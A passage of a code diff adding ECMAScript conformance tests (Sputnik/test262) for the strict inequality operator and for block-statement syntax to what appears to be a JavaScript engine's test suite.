+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() !== y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() !== y() throw "x". Actual: ' + (x() !== y()));
+} catch (e) {
+ if (!(e !== "y")) {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() !== y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.4_T3.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.4_T3.js
new file mode 100644
index 000000000..d25f15e4d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A2.4_T3.js
+ * @description Checking undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x !== (x = 1);
+ $ERROR('#1.1: x !== (x = 1) throw ReferenceError. Actual: ' + (x !== (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x !== (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) !== y) {
+ $ERROR('#2: (y = 1) === y');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A3.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A3.js
new file mode 100644
index 000000000..f13b4574d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A3.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are Boolean-s.
+ * Return false, if x and y are both true or both false; otherwise, return true
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A3.js
+ * @description x and y are primitive booleans
+ */
+
+//CHECK#1
+if (true !== true) {
+ $ERROR('#1: true === true');
+}
+
+//CHECK#2
+if (false !== false) {
+ $ERROR('#2: false === false');
+}
+
+//CHECK#3
+if (!(true !== false)) {
+ $ERROR('#3: true !== false');
+}
+
+//CHECK#4
+if (!(false !== true)) {
+ $ERROR('#4: false !== true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.1_T1.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.1_T1.js
new file mode 100644
index 000000000..44548006b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.1_T1.js
@@ -0,0 +1,56 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x or y is NaN, return true
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A4.1_T1.js
+ * @description x is NaN
+ */
+
+//CHECK#1
+if (!(Number.NaN !== true)) {
+ $ERROR('#1: NaN !== true');
+}
+
+//CHECK#2
+if (!(Number.NaN !== 1)) {
+ $ERROR('#2: NaN !== 1');
+}
+
+//CHECK#3
+if (!(Number.NaN !== Number.NaN)) {
+ $ERROR('#3: NaN !== NaN');
+}
+
+//CHECK#4
+if (!(Number.NaN !== Number.POSITIVE_INFINITY)) {
+ $ERROR('#4: NaN !== +Infinity');
+}
+
+//CHECK#5
+if (!(Number.NaN !== Number.NEGATIVE_INFINITY)) {
+ $ERROR('#5: NaN !== -Infinity');
+}
+
+//CHECK#6
+if (!(Number.NaN !== Number.MAX_VALUE)) {
+ $ERROR('#6: NaN !== Number.MAX_VALUE');
+}
+
+//CHECK#7
+if (!(Number.NaN !== Number.MIN_VALUE)) {
+ $ERROR('#7: NaN !== Number.MIN_VALUE');
+}
+
+//CHECK#8
+if (!(Number.NaN !== "string")) {
+ $ERROR('#8: NaN !== "string"');
+}
+
+//CHECK#9
+if (!(Number.NaN !== new Object())) {
+ $ERROR('#9: NaN !== new Object()');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.1_T2.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.1_T2.js
new file mode 100644
index 000000000..8503f0a41
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.1_T2.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x or y is NaN, return true
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A4.1_T2.js
+ * @description y is NaN
+ */
+
+//CHECK#1
+if (!(true !== Number.NaN)) {
+ $ERROR('#1: true !== NaN');
+}
+
+//CHECK#2
+if (!(-1 !== Number.NaN)) {
+ $ERROR('#2: -1 !== NaN');
+}
+
+//CHECK#3
+if (!(Number.NaN !== Number.NaN)) {
+ $ERROR('#3: NaN !== NaN');
+}
+
+//CHECK#4
+if (!(Number.POSITIVE_INFINITY !== Number.NaN)) {
+ $ERROR('#4: +Infinity !== NaN');
+}
+
+//CHECK#5
+if (!(Number.NEGATIVE_INFINITY !== Number.NaN)) {
+ $ERROR('#5: -Infinity !== NaN');
+}
+
+//CHECK#6
+if (!(Number.MAX_VALUE !== Number.NaN)) {
+ $ERROR('#6: Number.MAX_VALUE !== NaN');
+}
+
+//CHECK#7
+if (!(Number.MIN_VALUE !== Number.NaN)) {
+ $ERROR('#7: Number.MIN_VALUE !== NaN');
+}
+
+//CHECK#8
+if (!("string" !== Number.NaN)) {
+ $ERROR('#8: "string" !== NaN');
+}
+
+//CHECK#9
+if (!(new Object() !== Number.NaN)) {
+ $ERROR('#9: new Object() !== NaN');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.2.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.2.js
new file mode 100644
index 000000000..1844bb10f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is +0(-0) and y is -0(+0), return false
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A4.2.js
+ * @description Checking all combinations
+ */
+
+//CHECK#1
+if (+0 !== -0) {
+ $ERROR('#1: +0 === -0');
+}
+
+//CHECK#2
+if (-0 !== +0) {
+ $ERROR('#2: -0 === +0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.3.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.3.js
new file mode 100644
index 000000000..b5469c3b3
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A4.3.js
@@ -0,0 +1,56 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are Number-s minus NaN, +0, -0.
+ * Return false, if x is the same number value as y; otherwise, return true
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A4.3.js
+ * @description x and y are primitive numbers
+ */
+
+//CHECK#1
+if (Number.POSITIVE_INFINITY !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: +Infinity === +Infinity');
+}
+
+//CHECK#2
+if (Number.NEGATIVE_INFINITY !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#2: -Infinity === -Infinity');
+}
+
+//CHECK#3
+if (13 !== 13) {
+ $ERROR('#3: 13 === 13');
+}
+
+//CHECK#4
+if (-13 !== -13) {
+ $ERROR('#4: -13 === -13');
+}
+
+//CHECK#5
+if (1.3 !== 1.3) {
+ $ERROR('#5: 1.3 === 1.3');
+}
+
+//CHECK#6
+if (-1.3 !== -1.3) {
+ $ERROR('#6: -1.3 === -1.3');
+}
+
+//CHECK#7
+if (Number.POSITIVE_INFINITY !== -Number.NEGATIVE_INFINITY) {
+ $ERROR('#7: +Infinity === -(-Infinity)');
+}
+
+//CHECK#8
+if (!(1 !== 0.999999999999)) {
+ $ERROR('#8: 1 !== 0.999999999999');
+}
+
+//CHECK#9
+if (1.0 !== 1) {
+ $ERROR('#9: 1.0 === 1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A5.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A5.js
new file mode 100644
index 000000000..dabb86dbc
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A5.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are String-s.
+ * Return false, if x and y are exactly the same sequence of characters; otherwise, return true
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A5.js
+ * @description x and y are primitive strings
+ */
+
+//CHECK#1
+if ("" !== "") {
+ $ERROR('#1: "" === ""');
+}
+
+//CHECK#2
+if (" " !== " ") {
+ $ERROR('#2: " " === " "');
+}
+
+//CHECK#3
+if ("string" !== "string") {
+ $ERROR('#3: "string" === "string"');
+}
+
+//CHECK#4
+if (!(" string" !== "string ")) {
+ $ERROR('#4: " string" !== "string "');
+}
+
+//CHECK#5
+if (!("1.0" !== "1")) {
+ $ERROR('#5: "1.0" !== "1"');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A6.1.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A6.1.js
new file mode 100644
index 000000000..7e89a7b6d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A6.1.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) and Type(y) are Undefined-s, return false
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A6.1.js
+ * @description void 0, eval("var x") is undefined
+ */
+
+//CHECK#1
+if (undefined !== undefined) {
+ $ERROR('#1: undefined === undefined');
+}
+
+//CHECK#2
+if (void 0 !== undefined) {
+ $ERROR('#2: void 0 === undefined');
+}
+
+//CHECK#3
+if (undefined !== eval("var x")) {
+ $ERROR('#3: undefined === eval("var x")');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A6.2.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A6.2.js
new file mode 100644
index 000000000..9657e153f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A6.2.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) and Type(y) are Null-s, return false
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A6.2.js
+ * @description null === null
+ */
+
+//CHECK#1
+if (null !== null) {
+ $ERROR('#1: null === null');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A7.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A7.js
new file mode 100644
index 000000000..1102b7a12
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A7.js
@@ -0,0 +1,55 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are Object-s.
+ * Return false, if x and y are references to the same Object; otherwise, return true
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A7.js
+ * @description Checking Boolean object, Number object, String object, Object object
+ */
+
+//CHECK#1
+if (!(new Object() !== new Object())) {
+ $ERROR('#1: new Object() !== new Object()');
+}
+
+//CHECK#2
+if (!(new Object(true) !== new Object(true))) {
+ $ERROR('#2: new Object() !== new Object()');
+}
+
+//CHECK#3
+if (!(new Object(false) !== new Object(false))) {
+ $ERROR('#3: new Object() !== new Object()');
+}
+
+//CHECK#4
+if (!(new Object(+0) !== new Object(-0))) {
+ $ERROR('#4: new Object(+0) !== new Object(-0)');
+}
+
+//CHECK#5
+x = {};
+y = x;
+if (x !== y) {
+ $ERROR('#5: x = {}; y = x; x === y');
+}
+
+//CHECK#6
+if (!(new Boolean(true) !== new Number(1))) {
+ $ERROR('#6 new Boolean(true) !== new Number(1)');
+}
+
+//CHECK#7
+if (!(new Number(1) !== new String("1"))) {
+ $ERROR('#7: new Number(1) !== new String("1")');
+}
+
+//CHECK#8
+if (!(new String("1") !== new Boolean(true))) {
+ $ERROR('#8: new String("x") !== new Boolean(true)');
+}
+
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T1.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T1.js
new file mode 100644
index 000000000..8e342212e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T1.js
@@ -0,0 +1,65 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is different from Type(y), return true
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A8_T1.js
+ * @description x or y is primitive boolean
+ */
+
+//CHECK#1
+if (!(true !== new Boolean(true))) {
+ $ERROR('#1: true !== new Number(true)');
+}
+
+//CHECK#2
+if (!(true !== 1)) {
+ $ERROR('#2: true !== 1');
+}
+
+//CHECK#3
+if (!(true !== new Number(true))) {
+ $ERROR('#3: true !== new Number(true)');
+}
+
+//CHECK#4
+if (!(true !== "1")) {
+ $ERROR('#4: true !== "1"');
+}
+
+//CHECK#5
+if (!(true !== new String(true))) {
+ $ERROR('#5: true !== new String(true)');
+}
+
+//CHECK#6
+if (!(new Boolean(false) !== false)) {
+ $ERROR('#6: new Number(false) !== false');
+}
+
+//CHECK#7
+if (!(0 !== false)) {
+ $ERROR('#7: 0 !== false');
+}
+
+//CHECK#8
+if (!(new Number(false) !== false)) {
+ $ERROR('#8: new Number(false) !== false');
+}
+
+//CHECK#9
+if (!("0" !== false)) {
+ $ERROR('#9: "0" !== false');
+}
+
+//CHECK#10
+if (!(false !== new String(false))) {
+ $ERROR('#10: false !== new String(false)');
+}
+
+//CHECK#11
+if (!(true !== {valueOf: function () {return true}})) {
+ $ERROR('#11: true !== {valueOf: function () {return true}}');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T2.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T2.js
new file mode 100644
index 000000000..780807c97
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T2.js
@@ -0,0 +1,65 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is different from Type(y), return true
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A8_T2.js
+ * @description x or y is primitive number
+ */
+
+//CHECK#1
+if (!(1 !== new Number(1))) {
+ $ERROR('#1: 1 !== new Number(1)');
+}
+
+//CHECK#2
+if (!(1 !== true)) {
+ $ERROR('#2: 1 !== true');
+}
+
+//CHECK#3
+if (!(1 !== new Boolean(1))) {
+ $ERROR('#3: 1 !== new Boolean(1)');
+}
+
+//CHECK#4
+if (!(1 !== "1")) {
+ $ERROR('#4: 1 !== "1"');
+}
+
+//CHECK#5
+if (!(1 !== new String(1))) {
+ $ERROR('#5: 1 !== new String(1)');
+}
+
+//CHECK#6
+if (!(new Number(0) !== 0)) {
+ $ERROR('#6: new Number(0) !== 0');
+}
+
+//CHECK#7
+if (!(false !== 0)) {
+ $ERROR('#7: false !== 0');
+}
+
+//CHECK#8
+if (!(new Boolean(0) !== 0)) {
+ $ERROR('#8: new Boolean(0) !== 0');
+}
+
+//CHECK#9
+if (!("0" !== 0)) {
+ $ERROR('#9: "0" !== 0');
+}
+
+//CHECK#10
+if (!(new String(0) !== 0)) {
+ $ERROR('#10: new String(0) !== 0');
+}
+
+//CHECK#11
+if (!(1 !== {valueOf: function () {return 1}})) {
+ $ERROR('#11: 1 !== {valueOf: function () {return 1}}');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T3.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T3.js
new file mode 100644
index 000000000..3206868db
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T3.js
@@ -0,0 +1,66 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is different from Type(y), return true
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A8_T3.js
+ * @description x or y is primitive string
+ */
+
+//CHECK#1
+if (!("1" !== new String("1"))) {
+ $ERROR('#1: "1" !== new String("1")');
+}
+
+//CHECK#2
+if (!("1" !== true)) {
+ $ERROR('#2: "1" !== true');
+}
+
+//CHECK#3
+if (!("1" !== new Boolean("1"))) {
+ $ERROR('#3: "1" !== new Boolean("1")');
+}
+
+//CHECK#4
+if (!("1" !== 1)) {
+ $ERROR('#4: "1" === 1');
+}
+
+//CHECK#5
+if (!("1" !== new Number("1"))) {
+ $ERROR('#5: "1" === new Number("1")');
+}
+
+//CHECK#6
+if (!(new String(false) !== false)) {
+ $ERROR('#6: new Number(false) !== false');
+}
+
+//CHECK#7
+if (!(false !== "0")) {
+ $ERROR('#7: false !== "0"');
+}
+
+//CHECK#8
+if (!("0" !== new Boolean("0"))) {
+ $ERROR('#8: "0" !== new Boolean("0")');
+}
+
+//CHECK#9
+if (!(false !== 0)) {
+ $ERROR('#9: false !== 0');
+}
+
+//CHECK#10
+if (!(false !== new Number(false))) {
+ $ERROR('#10: false !== new Number(false)');
+}
+
+//CHECK#11
+if (!("1" !== {valueOf: function () {return "1"}})) {
+ $ERROR('#11: "1" !== {valueOf: function () {return "1"}}');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T4.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T4.js
new file mode 100644
index 000000000..004549142
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T4.js
@@ -0,0 +1,80 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is different from Type(y), return true
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A8_T4.js
+ * @description x or y is null or undefined
+ */
+
+//CHECK#1
+if (!(undefined !== null)) {
+ $ERROR('#1: undefined !== null');
+}
+
+//CHECK#2
+if (!(null !== undefined)) {
+ $ERROR('#2: null !== undefined');
+}
+
+//CHECK#3
+if (!(null !== 0)) {
+ $ERROR('#3: null !== 0');
+}
+
+//CHECK#4
+if (!(0 !== null)) {
+ $ERROR('#4: 0 !== null');
+}
+
+//CHECK#5
+if (!(null !== false)) {
+ $ERROR('#5: null !== false');
+}
+
+//CHECK#6
+if (!(false !== null)) {
+ $ERROR('#6: false !== null');
+}
+
+//CHECK#7
+if (!(undefined !== false)) {
+ $ERROR('#7: undefined !== false');
+}
+
+//CHECK#8
+if (!(false !== undefined)) {
+ $ERROR('#8: false !== undefined');
+}
+
+//CHECK#9
+if (!(null !== new Object())) {
+ $ERROR('#9: null !== new Object()');
+}
+
+//CHECK#10
+if (!(new Object() !== null)) {
+ $ERROR('#10: new Object() !== null');
+}
+
+//CHECK#11
+if (!(null !== "null")) {
+ $ERROR('#11: null !== "null"');
+}
+
+//CHECK#12
+if (!("null" !== null)) {
+ $ERROR('#12: "null" !== null');
+}
+
+//CHECK#13
+if (!(undefined !== "undefined")) {
+ $ERROR('#13: undefined !== "undefined"');
+}
+
+//CHECK#14
+if (!("undefined" !== undefined)) {
+ $ERROR('#14: "undefined" !== undefined');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T5.js b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T5.js
new file mode 100644
index 000000000..3f2c4a627
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/S11.9.5_A8_T5.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is different from Type(y), return true
+ *
+ * @path ch11/11.9/11.9.5/S11.9.5_A8_T5.js
+ * @description Checking such x and y that either x or y is primitive string and the other is primitive number
+ */
+
+//CHECK#1
+try {
+ throw 1;
+} catch(e) {
+ if (!(e !== "1")) {
+ $ERROR('#1: throw 1 !== "1"');
+ }
+}
+
+//CHECK#2
+try {
+ throw "1";
+} catch(e) {
+ if (!(1 !== e)) {
+ $ERROR('#2: 1 !== throw "1"');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/browser.js b/js/src/tests/test262/ch11/11.9/11.9.5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/browser.js
diff --git a/js/src/tests/test262/ch11/11.9/11.9.5/shell.js b/js/src/tests/test262/ch11/11.9/11.9.5/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.5/shell.js
diff --git a/js/src/tests/test262/ch11/11.9/browser.js b/js/src/tests/test262/ch11/11.9/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/browser.js
diff --git a/js/src/tests/test262/ch11/11.9/shell.js b/js/src/tests/test262/ch11/11.9/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/shell.js
diff --git a/js/src/tests/test262/ch11/browser.js b/js/src/tests/test262/ch11/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/browser.js
diff --git a/js/src/tests/test262/ch11/shell.js b/js/src/tests/test262/ch11/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/shell.js
diff --git a/js/src/tests/test262/ch12/12.1/12.1-1.js b/js/src/tests/test262/ch12/12.1/12.1-1.js
new file mode 100644
index 000000000..e5311368f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/12.1-1.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.1/12.1-1.js
+ * @description 12.1 - block '{ StatementListopt };' is not allowed: try-catch
+ */
+
+
+function testcase() {
+ try {
+ eval("try{};catch(){}");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.1/12.1-2.js b/js/src/tests/test262/ch12/12.1/12.1-2.js
new file mode 100644
index 000000000..ab1d4668e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/12.1-2.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.1/12.1-2.js
+ * @description 12.1 - block '{ StatementListopt };' is not allowed: try-catch-finally
+ */
+
+
+function testcase() {
+ try {
+ eval("try{};catch{};finally{}");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.1/12.1-3.js b/js/src/tests/test262/ch12/12.1/12.1-3.js
new file mode 100644
index 000000000..e0ccd4f58
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/12.1-3.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.1/12.1-3.js
+ * @description 12.1 - block '{ StatementListopt };' is not allowed: try-finally
+ */
+
+
+function testcase() {
+ try {
+ eval("try{};finally{}");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.1/12.1-4.js b/js/src/tests/test262/ch12/12.1/12.1-4.js
new file mode 100644
index 000000000..4df0c5604
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/12.1-4.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.1/12.1-4.js
+ * @description 12.1 - block '{ StatementListopt };' is not allowed: if-else
+ */
+
+
+function testcase() {
+ try {
+ eval("if{};else{}");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.1/12.1-5.js b/js/src/tests/test262/ch12/12.1/12.1-5.js
new file mode 100644
index 000000000..4d2238962
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/12.1-5.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.1/12.1-5.js
+ * @description 12.1 - block '{ StatementListopt };' is not allowed: if-else-if
+ */
+
+
+function testcase() {
+ try {
+ eval("if{};else if{}");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.1/12.1-6.js b/js/src/tests/test262/ch12/12.1/12.1-6.js
new file mode 100644
index 000000000..d6907d9c6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/12.1-6.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.1/12.1-6.js
+ * @description 12.1 - block '{ StatementListopt };' is not allowed: if-else-if-else
+ */
+
+
+function testcase() {
+ try {
+ eval("if{};else if{};else{}");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.1/12.1-7.js b/js/src/tests/test262/ch12/12.1/12.1-7.js
new file mode 100644
index 000000000..ab89adc8b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/12.1-7.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.1/12.1-7.js
+ * @description 12.1 - block '{ StatementListopt };' is not allowed: do-while
+ */
+
+
+function testcase() {
+ try {
+ eval("do{};while()");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.1/S12.1_A2.js b/js/src/tests/test262/ch12/12.1/S12.1_A2.js
new file mode 100644
index 000000000..eed2e89d4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.1/S12.1_A2.js
@@ -0,0 +1,37 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production StatementList Statement is evaluated as follows
+ * 1. Evaluate Statement.
+ * 2. If an exception was thrown, return (throw, V, empty) where V is the exception
+ *
+ * @path ch12/12.1/S12.1_A2.js
+ * @description Throwing exception within a Block
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ x();
+ $ERROR('#1: "x()" lead to throwing exception');
+} catch (e) {
+ $PRINT(e.message);
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try {
+ throw "catchme";
+ $ERROR('#2: throw "catchme" lead to throwing exception');
